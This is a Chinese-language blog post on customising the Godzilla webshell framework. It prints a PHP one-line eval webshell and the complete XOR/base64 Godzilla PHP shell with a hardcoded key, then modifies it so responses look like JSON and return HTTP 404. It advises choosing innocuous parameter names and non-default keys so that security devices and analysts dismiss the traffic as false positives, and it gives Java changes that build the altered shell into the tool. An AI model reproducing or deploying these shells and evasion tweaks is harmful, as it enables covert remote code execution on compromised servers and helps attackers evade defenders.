续着之前的学习,这次从哥斯拉的几个类型的流量继续学习。
PHP
首先看一下哥斯拉最原版的木马,也就是一句话木马(PS:这里说一下,godzilla是支持一句话木马的。有好多同学面试的时候被问到godzilla支不支持一句话,好多同学不知道。其实他是支持。)
好,先来看一句话的加密器是 PHP_EVAL_XOR_BASE64,他生成的木马就是一句话木马
<?php
eval($_POST["pass"]);

接着我们看对应的代码,在Generate中。

这里主要的几个功能点
输入模板文件:
InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
根据参数 isBin
,从资源路径中选择模板文件:
raw.bin
: 如果isBin
为true
,表示使用二进制模板。base64.bin
: 如果isBin
为false
,表示使用 Base64 编码的模板。
这里的模版就是template中的bin文件,这些模版中的eval.bin就是一句话木马的文件,这里像之前操作的,在src目录下新建文件,一样可以替换掉。

读取模板内容:
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
使用 functions.readInputStream
方法读取模板文件内容,并将其转换为字符串。
替换模板占位符:
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
将模板中的 {pass}
和 {secretKey}
占位符替换为传入的参数。
然后就是payload的发送,在PhpEvalXor.java文件中,可以看到具体代码,比如异或,base64,传参等。


这里暂时不去更改原有的代码,我们新添加一个加密器。这里选择xor,base64的加密器。

试一下修改名称

打包编译看看

没有问题,godzillaxor原本base64的木马在文件base64.bin中。

代码如下
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
在上述代码中
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
这部分表明其核心功能是基于输入的 $payload
动态执行代码,并对结果进行加密和编码,最后输出特定的标识符。
逐行分析
eval($payload);
eval
是 PHP 中执行动态代码的函数。$payload
的内容将被解释为 PHP 代码并运行。
echo substr(md5($pass.$key), 0, 16);
- 计算
$pass
和$key
拼接后的 MD5 哈希值。 - 截取 MD5 哈希值的前 16 个字符。
- 计算
echo base64_encode(encode(@run($data), $key));
- 执行
$data
中的逻辑,可能是一个函数调用。 - 通过某种加密方法(可能是异或或其他对称加密)对
@run($data)
的结果进行加密,密钥是$key
。 - 将加密后的结果转换为 Base64 编码,便于传输和存储。
- 执行
echo substr(md5($pass.$key), 16);
- 截取 MD5 哈希值的后 16 个字符。
- 与前面的
substr(md5($pass.$key), 0, 16)
结合,可能作为完整标识符或校验机制。
输出结果:
假设 $pass = "abc"
,$key = "123"
,$data
和 $payload
是传入的数据,程序的输出大致如下:
- 前 16 位 MD5:
substr(md5($pass.$key), 0, 16)
- 加密并 Base64 编码后的运行结果:
base64_encode(encode(@run($data), $key))
- 后 16 位 MD5:
substr(md5($pass.$key), 16)

上图中除去之前做过的定死了左右添加的数据,其余的就是一个执行whoami的命令后产生的加密流量。

这是响应包,可以看到大概构造是MD5的前16位+返回值异或+后16位。
这里发送的包暂时不改了,因为发送的包改的话需要改发送的payload,这里尝试修改返回包。
先找到刚才的提到的payload发送的PhpEvalXor.java文件,然后找到下面的位置。

在返回包的代码中有一个函数,传递了this.findStrLeft和this.findStrRight,也就是上面定义的md5的前后16位,ctrl+submiddlestr 会发现,就是将左边的数据,加返回的数据,加16位右边数据


在这里给修改一下,将左右追加数据两行注释掉,然后添加一个返回信息,使用json格式。

这里修改完成。

看马子中的内容, 是输出结果为MD5,这样肯定是不行的,修改成符合的加密方式

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
//echo substr(md5($pass.$key),0,16);
//echo base64_encode(encode(@run($data),$key));
//echo substr(md5($pass.$key),16);
echo "{\"message\":\"";
echo base64_encode(encode(@run($data),$key));
echo "\"}";
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
更改之后,测试一下流量
请求包

响应包:

这可太有那味了
另外,在php中,我们可以让返回包强制404,只需在🐎里面添加http_response_code(404);即可。(ps:http_response_code()
是从 PHP 5.4 开始引入的。如果PHP 版本低于 5.4,则无法使用该函数。这个时候就会无法连接,如果碰到这种情况,去掉这个函数)
再另外顺手改了一下pass参数,再次抓包。


这样的话流量状态码就是404了,是不是猛一看,还真不好分辨,如果是新手的话,可能看设备的时候都直接略过点误报了。
发送包的pass 因为是传递键,所以我建议生成的时候,还是用一些单词,这样更有迷惑性。
返回值这个fL1tMGI4YTlj有的安全设备,也被定义为危险字符,因为返回值要异或key,所以key在生成的时候也不能用默认,简单改一改。
ok做戏要做全套,我们不能每次用的时候需要,来到文章拿代码,godzilla也是好用在这里。直接工具中生成,对我这种萌新比较友好。
接下来,我们来看怎么在godzilla中生成木马。

php的generate的代码中确定了用到那个bin文件,

直接定死或者bin文件即可。
创建文件,格式对齐。别写错了。

加密器中也会判断isbin?,那我们仿照eval的加密器写,将原先的最后一段注释掉,按照加密器文件PhpEvalXor修改为写好的bin文件

public byte[] generate(String password, String secretKey) {
return (new String(functions.readInputStreamAutoClose(PhpEvalXor.class.getResourceAsStream("template/phpxormt.bin")))).replace("{pass}", password).getBytes();
}
}
将修改好的木马文件内容放入bin文件中

打包编译

ok,这里演示已经没有问题了
另外如果有个人的免杀马也可以直接修改好封装进bin文件中方便下次使用(好叭说白了还没学会免杀)。
Comments NOTHING